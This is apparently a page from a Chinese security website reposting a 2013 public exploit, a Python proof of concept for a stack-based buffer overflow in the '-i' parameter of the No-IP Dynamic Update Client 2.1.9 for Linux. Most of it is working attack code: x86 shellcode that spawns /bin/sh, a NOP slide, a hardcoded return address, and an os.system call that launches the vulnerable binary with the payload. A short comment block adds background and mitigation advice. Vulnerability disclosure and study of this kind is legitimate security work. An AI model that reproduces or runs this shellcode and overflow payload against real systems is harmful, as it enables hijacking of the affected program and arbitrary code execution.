首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
No-IP Dynamic Update Client (DUC) 2.1.9 - Local IP Address Stack Overflow
来源:alberto[@]pentbox[.]net 作者:Ortega 发布时间:2013-05-14  

#!/usr/bin/env python

# Title:  No-IP Dynamic Update Client (DUC) 2.1.9 local IPaddress stack overflow
# Author: Alberto Ortega @a0rtega
#         alberto[@]pentbox[.]net
# Date:   May 11 2013 (vulnerability discovered)

# Background:
#
# No-IP is probably the most used Dynamic DNS provider worldwide,
# their Dynamic Update Client (DUC) is present by default in tons of
# systems, software repositories and embedded devices.
#
# Description:
#
# To be easily portable, the client is written in C, with minimal
# dependencies. So far so good, but the problem is, it is plagued of
# buffer overflows.
#
# Vulnerability:
#
# This exploit covers a stack-based overflow present in -i
# parameter, IPaddress variable name in source code.
#
# It is probably the most basic parameter, as this is the way to say
# the client that our IP has changed.
#
# For the PoC we will use the Linux x86 client version 2.1.9:
# https://www.noip.com/client/linux/noip-duc-linux.tar.gz
# 3b0f5f2ff8637c73ab337be403252a60
#
# http://a0rtega.pentbox.net/partyhard/noip2iexploit.txt
#
# Solution:
#
# API: https://www.noip.com/integrate/
#
# If you are an embedded systems developer, you should write
# your own implementation of the client.
#
# If you are a repository maintainer, the best solution may be
# change the official client for another one.
#
# Compile the distributed binaries with some mitigations and
# include them by default in Makefile would help too.

import os

binary = "./noip-2.1.9-1/binaries/noip2-i686"

shellcode = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"\
            "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"\
            "\x80\xe8\xdc\xff\xff\xff/bin/sh"

nop = "\x90"
nop_slide = 296 - len(shellcode)

# (gdb) print &IPaddress
# $2 = (<data variable, no debug info> *) 0x80573bc
eip_addr = "\xbc\x73\x05\x08"

print "[*] Executing %s ..." % (binary)

os.system("%s -i %s%s%s" % (binary, nop*nop_slide, shellcode, eip_addr))

 


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·SAP SOAP RFC SXPG_CALL_SYSTEM
·Kloxo 6.1.6 - Local Privilege
·SAP SOAP RFC SXPG_COMMAND_EXEC
·Linux PERF_EVENTS Local Root
·Lan Messenger sending PM Buffe
·Avira Personal Privilege Escal
·ERS Viewer 2011 ERS File Handl
·ERS Viewer 2011 ERS File Handl
·Linux Kernel open-time Capabil
·Kloxo 6.1.12 Privilege Escalat
·Flightgear 2.0, 2.4 - Remote F
·Quick Search Version 1.1.0.189
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved